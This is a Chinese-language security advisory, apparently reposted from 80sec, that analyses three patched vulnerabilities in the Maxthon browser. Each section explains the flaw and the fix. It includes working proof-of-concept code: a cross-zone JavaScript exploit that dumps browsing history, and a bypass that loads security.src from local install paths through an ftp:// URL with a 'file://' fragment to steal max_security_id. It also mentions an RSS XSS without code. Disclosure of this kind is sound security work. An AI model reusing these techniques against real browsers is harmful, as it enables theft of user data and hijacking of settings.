遨游已经修复的三个安全漏洞分析
在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下:
漏洞来源:http://www.80sec.com/release/maxthon-vulns-poc.txt
1 浏览器内核漏洞导致的本地跨域漏洞
漏洞说明:maxthon采用了系统的IE内核,但是该内核可能存在一些安全漏洞导致跨域攻击,而遨游的max:等的域是在本地等同于file://,所以这个跨域攻击将导致在本地上下文中执行javascript代码,这里只给出取得遨游浏览历史记录的POC。
漏洞POC:
<a href="">Maxthon Exploit</a>
<script>
function win(){
x=window.open("max:history");
setTimeout(function(){
x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i<x.length;i ) document.write(x[i].site \\”<br>\\”);”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i ) {
document.links[i].href=”javascript:win()”
}
}
</script>
漏洞修复:在IE内核修复之前,遨游新版本已经修复这个安全漏洞
2 遨游安全中心漏洞导致的远程修改任意用户设置
漏洞说明:遨游对IE内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组HTML JAVASCRIPT,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。当然,遨游也有自己的安全策略,将那些HTML文件放到外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下:
var max_security_id=\’\’; var url=String(document.location).toLowerCase(); if(url.indexOf(\’file://\’)>-1&&url.indexOf(\’http://\’)==-1&&url.indexOf(\’https://\’)==-1){ max_security_id=\'{B73B3AC9-B009-4429-AE67-514332D791FE}\’; }else{ document.location=\’about:blank\’; }
其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。
首先,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用:
<script src="E:\\Program Files\\Maxthon2\\template\\security.src"></script>
<script src="d:\\Program Files\\Maxthon2\\template\\security.src"></script>
<script src="c:\\Program Files\\Maxthon2\\template\\security.src"></script>
别意外,遨游是允许做这样调用本地文件的:),但是security.src也是有限制的,只有当location里包含file:///并且不包含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含file://也很简单:
ftp://www.foo.com/exploit.html#file://80sec.com
这样一个地址实际访问的是exploit.html,但是location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。
漏洞POC:
搭建一个匿名ftp服务器www.foo.com,然后在恶意站点做如下引用:
<iframe src="ftp://www.foo.com/history/index.htm#file:///www.80sec.com" width=100% height=100%>
/history/index.htm为放在www.foo.com上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录下面的index.html里的
<script type="text/javascript" src="../security.src"></script>
换成
<script src="E:\\Program Files\\Maxthon2\\template\\security.src"></script>
<script src="d:\\Program Files\\Maxthon2\\template\\security.src"></script>
<script src="c:\\Program Files\\Maxthon2\\template\\security.src"></script>
通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等
漏洞修复:新版本将代码修正为
var max_security_id=\’\’; if(String(window.document.location).toLowerCase().indexOf(\’file://\’)==0){ max_security_id=\'{02E14D94-53C8-4B6D-89AE-755DC5299C6C}\’; }else{ document.location=\’about:blank\’; }
限定只能本地文件能引用这个js,修复了这个问题。
3 RSS订阅跨站脚本漏洞
漏洞说明:遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞
漏洞POC:订阅http://www.80sec.com/feed就可以看到效果:)
漏洞修复:新版本已经修复
Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 遨游已经修复的三个安全漏洞分析
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html